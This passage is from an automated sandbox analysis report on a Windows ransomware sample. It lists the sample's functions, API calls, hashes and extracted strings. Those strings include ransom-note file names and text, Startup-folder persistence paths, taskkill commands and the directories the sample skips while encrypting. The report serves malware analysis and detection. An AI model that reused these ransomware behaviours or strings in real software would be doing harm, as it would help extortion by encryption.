                                  • GetProcessHeap.KERNEL32(00000000,7591DF60), ref: 00A4FB2F
                                  • HeapFree.KERNEL32(00000000), ref: 00A4FB3C
                                  • GetProcessHeap.KERNEL32(00000000,759230E0,?,759230E0,00000000,00AA01C8,000000FF), ref: 00A4FB72
                                  • HeapFree.KERNEL32(00000000,?,759230E0,00000000,00AA01C8,000000FF), ref: 00A4FB79
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Heap$Unothrow_t@std@@@__ehfuncinfo$??2@$FreeHandlePerformanceProcessQuery$CloseCounter$AddressCreateEventException@8FrequencyModuleMultipleObjectsProcResetThrowTimerValueWaitWaitable
                                  • String ID: $KERNEL32.DLL$SetWaitableTimerEx
                                  • API String ID: 3645014883-2602630820
                                  • Opcode ID: a95f94d4336c89c62aed21284d704b3e3f1e72bc8cd23d97af6bb7cda600d6bb
                                  • Instruction ID: 06a153bf597c5b759c34f27a7ff3ec162c627246827fe384c26cd45e4c1aeaa1
                                  • Opcode Fuzzy Hash: a95f94d4336c89c62aed21284d704b3e3f1e72bc8cd23d97af6bb7cda600d6bb
                                  • Instruction Fuzzy Hash: 94029C75901209EFDB10CFA8CD45BAEB7B5FF89720F255329E925AB2D0E7349902CB50
                                  Function 009DF570 Relevance: 38.2, APIs: 7, Strings: 14, Instructions: 1472COMMON
                                  Download Yara Rule
                                  APIs
                                  • ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,0000000A), ref: 009E0537
                                  • ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,0000000A), ref: 009E0575
                                  • ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,0000000A), ref: 009E058D
                                  • SetErrorMode.KERNEL32(00008003,215D2A08), ref: 009DF5AC
                                    • Part of subcall function 009C3740: __CxxThrowException@8.LIBVCRUNTIME ref: 009C376D
                                    • Part of subcall function 009C3740: __CxxThrowException@8.LIBVCRUNTIME ref: 009C37B2
                                  • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009E09BC
                                    • Part of subcall function 009E0D70: std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009E0E84
                                  • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009E0BC4
                                  • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009E0C92
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Ios_base_dtorstd::ios_base::_$ExecuteShell$Exception@8Throw$ErrorMode
                                  • String ID: or $.$:\Documents and Settings\$:\Restore_Your_Files.txt$:\Users\$:\Users\ReadMe.hta$:\Users\Restore_Your_Files.txt$All Your Files Encrypted To Decryption Email Us : $\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ReadMe.hta$\Desktop\ReadMe.hta$\Start Menu\Programs\Startup\ReadMe.hta$user$taskkill /im mshta.exe /f$taskkill /im notepad.exe /f
                                  • API String ID: 1428181982-2041248924
                                  • Opcode ID: 9e7cd40a88d526578b37e195562edeeb38c97e46eabdf5fba01a5c7212f1ac03
                                  • Instruction ID: ad79e5ff51eb5802418047b2e6009078b0c55587df2697d814c5b1560a0a35c5
                                  • Opcode Fuzzy Hash: 9e7cd40a88d526578b37e195562edeeb38c97e46eabdf5fba01a5c7212f1ac03
                                  • Instruction Fuzzy Hash: CDE2D170A00258CFDB15DB64CC59BEEB7B5BF84304F1081E9E509AB292DB75AB88CF51
                                  Function 009D8240 Relevance: 32.2, APIs: 2, Strings: 16, Instructions: 684COMMON
                                  Download Yara Rule
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID: \Application Data\Microsoft\Credentials$\Boot$\Documents and Settings\$\Documents and Settings\All Users\Start Menu$\Local Settings\Application Data\Microsoft\Credentials$\Local Settings\Temporary Internet Files$\ProgramData$\ProgramData\Microsoft$\Recovery$\Start Menu$\System Volume Information$\Users\All Users\Microsoft\Windows\Caches$\WINDOWS$\Windows$\skips.txt$user
                                  • API String ID: 0-1437485925
                                  • Opcode ID: afc0225eabba0c0beebae6a7372d9cae19f7632f382a83bac870da2b87d8f138
                                  • Instruction ID: 3b4c8d9d1bd769f68139d4798782ca43fc2f8dff5d7dbe949102d69d85c0ec4e
                                  • Opcode Fuzzy Hash: afc0225eabba0c0beebae6a7372d9cae19f7632f382a83bac870da2b87d8f138
                                  • Instruction Fuzzy Hash: CF624870D00619CFDF14DF68DC45BEEB7B1BB58305F1086AAD419A7291EB74AA88CF90
                                  Function 00A03300 Relevance: 27.0, APIs: 6, Strings: 9, Instructions: 738COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A03596
                                  Strings
                                  • for this public key, xrefs: 00A03854
                                  • for this key, xrefs: 00A03564
                                  • TF_SignerBase: this algorithm does not support message recovery or the key is too short, xrefs: 00A039B9
                                  • TF_SignerBase: the recoverable message part is too long for the given key and algorithm, xrefs: 00A039E7
                                  • : ciphertext length of , xrefs: 00A03520
                                  • : message length of , xrefs: 00A03810
                                  • : this key is too short to encrypt any messages, xrefs: 00A0378D
                                  • doesn't match the required length of , xrefs: 00A03542
                                  • exceeds the maximum of , xrefs: 00A03832
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: doesn't match the required length of $ exceeds the maximum of $ for this key$ for this public key$: ciphertext length of $: message length of $: this key is too short to encrypt any messages$TF_SignerBase: the recoverable message part is too long for the given key and algorithm$TF_SignerBase: this algorithm does not support message recovery or the key is too short
                                  • API String ID: 2005118841-3686900216
                                  • Opcode ID: 7a7713704e8b1517ae657ce21c0750eaa670f9f74e1c37bd86b21e8f4a069515
                                  • Instruction ID: cc318382014a6dfd1c49d0c0aa08f66335b2d1c2829f66069053b9c0a20d0e02
                                  • Opcode Fuzzy Hash: 7a7713704e8b1517ae657ce21c0750eaa670f9f74e1c37bd86b21e8f4a069515
                                  • Instruction Fuzzy Hash: 7B526F7590024DEFDF14DFA4C985BEEBBB9BF48300F108569F905A7291DB30AA04CBA1
                                  Function 009D6AF7 Relevance: 25.6, APIs: 1, Strings: 13, Instructions: 1091COMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 009C3740: __CxxThrowException@8.LIBVCRUNTIME ref: 009C376D
                                    • Part of subcall function 009C3740: __CxxThrowException@8.LIBVCRUNTIME ref: 009C37B2
                                  • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009D816A
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw$Ios_base_dtorstd::ios_base::_
                                  • String ID: &4r*3d$($.2QN$4O99N$_Mail-$_[ID-$vj10au=$vj20au=$vj30au=$vj51au=$vj55au=$vjau=$wenf=
                                  • API String ID: 2823994529-1427186424
                                  • Opcode ID: fa0b941fc643466e9e38ae8d6a7dada20382ccec94293fbe08d341fc45078bbb
                                  • Instruction ID: 7f9c6497846e8dd9045ad05c3fab79d3b288c01b0e4d58e5808b85c6bd607034
                                  • Opcode Fuzzy Hash: fa0b941fc643466e9e38ae8d6a7dada20382ccec94293fbe08d341fc45078bbb
                                  • Instruction Fuzzy Hash: 2DA2F131A10258CFDF24CF68CD45BDEB7B2AF85308F10869AD549AB392DB759A84CF50
                                  Function 00A542D4 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 00A55963: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00A55976
                                  • Concurrency::details::ResourceManager::PreProcessDynamicAllocationData.LIBCONCRT ref: 00A542E6
                                    • Part of subcall function 00A55A76: Concurrency::details::ResourceManager::HandleBorrowedCores.LIBCONCRT ref: 00A55AA0
                                    • Part of subcall function 00A55A76: Concurrency::details::ResourceManager::HandleSharedCores.LIBCONCRT ref: 00A55B0F
                                  • Concurrency::details::ResourceManager::IncreaseFullyLoadedSchedulerAllocations.LIBCMT ref: 00A54418
                                  • Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00A54478
                                  • Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00A54484
                                  • Concurrency::details::ResourceManager::DistributeExclusiveCores.LIBCONCRT ref: 00A544BF
                                  • Concurrency::details::ResourceManager::AdjustDynamicAllocation.LIBCONCRT ref: 00A544E0
                                  • Concurrency::details::ResourceManager::PrepareReceiversForCoreTransfer.LIBCMT ref: 00A544EC
                                  • Concurrency::details::ResourceManager::DistributeIdleCores.LIBCONCRT ref: 00A544F5
                                  • Concurrency::details::ResourceManager::ResetGlobalAllocationData.LIBCMT ref: 00A5450D
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::Manager::Resource$AllocationCores$Dynamic$AdjustCoreDataDistributeHandlePrepareReceiversTransfer$AllocationsBorrowedBuffersExclusiveFullyGlobalIdleIncreaseInitializeLoadedProcessResetSchedulerShared
                                  • String ID:
                                  • API String ID: 2508902052-0
                                  • Opcode ID: 6205ff1eeeaee0cf79450def734d6f74160819ef6e24cea2f90ec9e8164c7a4b
                                  • Instruction ID: 1ae8423f47c2fbee7663242d4482b817391b8ceaf8742cf752c2157f19d6fdeb
                                  • Opcode Fuzzy Hash: 6205ff1eeeaee0cf79450def734d6f74160819ef6e24cea2f90ec9e8164c7a4b
                                  • Instruction Fuzzy Hash: AF816D71E006259FCB18DFA9C584A6DBBF1FF48319F1542ADD849AB711D730AD86CB80
                                  Function 009DE830 Relevance: 13.1, APIs: 5, Strings: 2, Instructions: 818networkCOMMON
                                  Download Yara Rule
                                  APIs
                                    • Part of subcall function 009C5130: CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 009C5198
                                    • Part of subcall function 009C5130: CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 009C51AC
                                    • Part of subcall function 009C5130: CreateSemaphoreA.KERNEL32(00000000,00000000,7FFFFFFF,00000000), ref: 009C51C0
                                  • std::ios_base::_Ios_base_dtor.LIBCPMT ref: 009DEEE0
                                  • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,215D2A08,00000000), ref: 009DEF8B
                                  • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,215D2A08,00000000), ref: 009DEFA1
                                  • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,215D2A08,00000000), ref: 009DEFC0
                                  • PathIsNetworkPathA.SHLWAPI(00000000,?,00000002,-00000015,215D2A08,00000000), ref: 009DEFD7
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Path$Network$CreateSemaphore$Ios_base_dtorstd::ios_base::_
                                  • String ID: X$\Restore_Your_Files.txt
                                  • API String ID: 3524565764-1189399128
                                  • Opcode ID: 86d67cef02ce60999fb2fbc58ad9749e9d94ad926b04c6c0712998886773d6c3
                                  • Instruction ID: c76848311cc46a7640ad1480dac1989d2fbd3a41b061bd445c6a876520d633f0
                                  • Opcode Fuzzy Hash: 86d67cef02ce60999fb2fbc58ad9749e9d94ad926b04c6c0712998886773d6c3
                                  • Instruction Fuzzy Hash: 0272E371D00258CFDF14DBA8CD95BEDBBB5AF45304F1481AAE809A7282D770AE85CF91
                                  Function 00A8B462 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  • _free.LIBCMT ref: 00A8B4E4
                                  • _free.LIBCMT ref: 00A8B508
                                  • _free.LIBCMT ref: 00A8B68F
                                  • GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00AB42F0), ref: 00A8B6A1
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00AE934C,000000FF,00000000,0000003F,00000000,?,?), ref: 00A8B719
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00AE93A0,000000FF,?,0000003F,00000000,?), ref: 00A8B746
                                  • _free.LIBCMT ref: 00A8B85B
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: _free$ByteCharMultiWide$InformationTimeZone
                                  • String ID:
                                  • API String ID: 314583886-0
                                  • Opcode ID: e18f423eee97a671dfdc4eafaa6769796df6abf0a0abcab2b20cc6ee46f989d0
                                  • Instruction ID: 5b147fd3c7bcb2b61a13da47201e5d88e532d3f20cb1d855ef0795d5a383d200
                                  • Opcode Fuzzy Hash: e18f423eee97a671dfdc4eafaa6769796df6abf0a0abcab2b20cc6ee46f989d0
                                  • Instruction Fuzzy Hash: E6C1F771910345AFDB24FF78DD41BAEBBB8EF45310F1841AAE4969B291E7708E02C760
                                  Function 00A05400 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 284COMMON
                                  Download Yara Rule
                                  APIs
                                  • __CxxThrowException@8.LIBVCRUNTIME ref: 00A05477
                                  Strings
                                  • Unflushable<T>: this object has buffered input that cannot be flushed, xrefs: 00A0550E
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Exception@8Throw
                                  • String ID: Unflushable<T>: this object has buffered input that cannot be flushed
                                  • API String ID: 2005118841-3781273281
                                  • Opcode ID: 313b13afe4b576ea141ad103dc7a9775748e2d86b81377b021eef34bdace1554
                                  • Instruction ID: f331795abef0f3c44ffba67d2943047abafd867a8901b0ddf3c8d2c7d1319c34
                                  • Opcode Fuzzy Hash: 313b13afe4b576ea141ad103dc7a9775748e2d86b81377b021eef34bdace1554
                                  • Instruction Fuzzy Hash: 65A16D71A0420CEFCB05DFA4D945FAEB7B8FF08710F004A6AF91697681DB75AA14CB90
                                  Function 00A90B04 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE
                                  Download Yara Rule
                                  APIs
                                  Strings
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: __floor_pentium4
                                  • String ID: 1#IND$1#INF$1#QNAN$1#SNAN
                                  • API String ID: 4168288129-2761157908
                                  • Opcode ID: 2334f29c0bfdb949b6eb38ad9bffe12da702e31d5387d5811688c7fd53a9d570
                                  • Instruction ID: 41f722b811196ee2809775b7e14a3f661b95fef514989789fc4de7eefe5f8550
                                  • Opcode Fuzzy Hash: 2334f29c0bfdb949b6eb38ad9bffe12da702e31d5387d5811688c7fd53a9d570
                                  • Instruction Fuzzy Hash: 13C20571E086298FDF258B289D407EAB7F9EB84345F1545EAD84DE7240E778AE818F40
                                  Function 00A502E0 Relevance: 10.1, APIs: 8, Instructions: 124memoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • TlsGetValue.KERNEL32(FFFFFFFF,215D2A08,?,?,?,?,?,00AA0278,000000FF), ref: 00A50315
                                  • TlsSetValue.KERNEL32(FFFFFFFF,?), ref: 00A50359
                                  • GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,?,?,00AA0278,000000FF), ref: 00A5037F
                                  • HeapFree.KERNEL32(00000000,?,?,?,?,?,00AA0278,000000FF), ref: 00A50386
                                  • GetProcessHeap.KERNEL32(00000000), ref: 00A503C0
                                  • HeapFree.KERNEL32(00000000), ref: 00A503C7
                                  • GetProcessHeap.KERNEL32(00000000,?), ref: 00A503D0
                                  • HeapFree.KERNEL32(00000000), ref: 00A503D7
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Heap$FreeProcess$Value
                                  • String ID:
                                  • API String ID: 3709577838-0
                                  • Opcode ID: 189883c3b3b7c14b66e631ddcaa3d4d9630a7da583790e4e120d425e8cafecb0
                                  • Instruction ID: 47647b635c3918ae070eeb81b82fb3670fdebfc133db8f8bbb58f189b8b6c77e
                                  • Opcode Fuzzy Hash: 189883c3b3b7c14b66e631ddcaa3d4d9630a7da583790e4e120d425e8cafecb0
                                  • Instruction Fuzzy Hash: 4A416C35600201AFDF20CFA9D889F5AB7A8FF55722F040668FD16DB291D770EC08CAA0
                                  Function 00A62D69 Relevance: 9.1, APIs: 6, Instructions: 139COMMON
                                  Download Yara Rule
                                  APIs
                                  • Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00A62DA2
                                    • Part of subcall function 00A5CB06: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00A5CB27
                                  • Concurrency::details::SchedulerBase::GetInternalContext.LIBCONCRT ref: 00A62E08
                                  • Concurrency::details::WorkItem::ResolveToken.LIBCONCRT ref: 00A62E20
                                  • Concurrency::details::WorkItem::BindTo.LIBCONCRT ref: 00A62E2D
                                    • Part of subcall function 00A628CD: Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00A628F5
                                    • Part of subcall function 00A628CD: Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00A6298D
                                    • Part of subcall function 00A628CD: Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00A62997
                                    • Part of subcall function 00A628CD: Concurrency::location::_Assign.LIBCMT ref: 00A629CB
                                    • Part of subcall function 00A628CD: Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00A629D3
                                  Memory Dump Source
                                  • Source File: 00000000.00000002.3316963659.00000000009C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009C0000, based on PE: true
                                  • Associated: 00000000.00000002.3316937227.00000000009C0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317054913.0000000000AA3000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317089091.0000000000ADF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317108979.0000000000AE1000.00000008.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AE6000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317129947.0000000000AEF000.00000004.00000001.01000000.00000003.sdmpDownload File
                                  • Associated: 00000000.00000002.3317169146.0000000000AF0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_0_2_9c0000_lEUy79aLAW.jbxd
                                  Similarity
                                  • API ID: Concurrency::details::$Base::Context$Scheduler$EventInternalItem::ProcessorVirtualWork$ActiveAssignBindCommitConcurrency::location::_GroupPointsReclaimResolveRunnableSafeScheduleSegmentThrowTokenTraceTrigger
                                  • String ID:
                                  • API String ID: 2363638799-0
                                  • Opcode ID: af8bbe484688f5c655b3f8dc1e0f427cffe7792f716a7d76ef2434eee06c475e
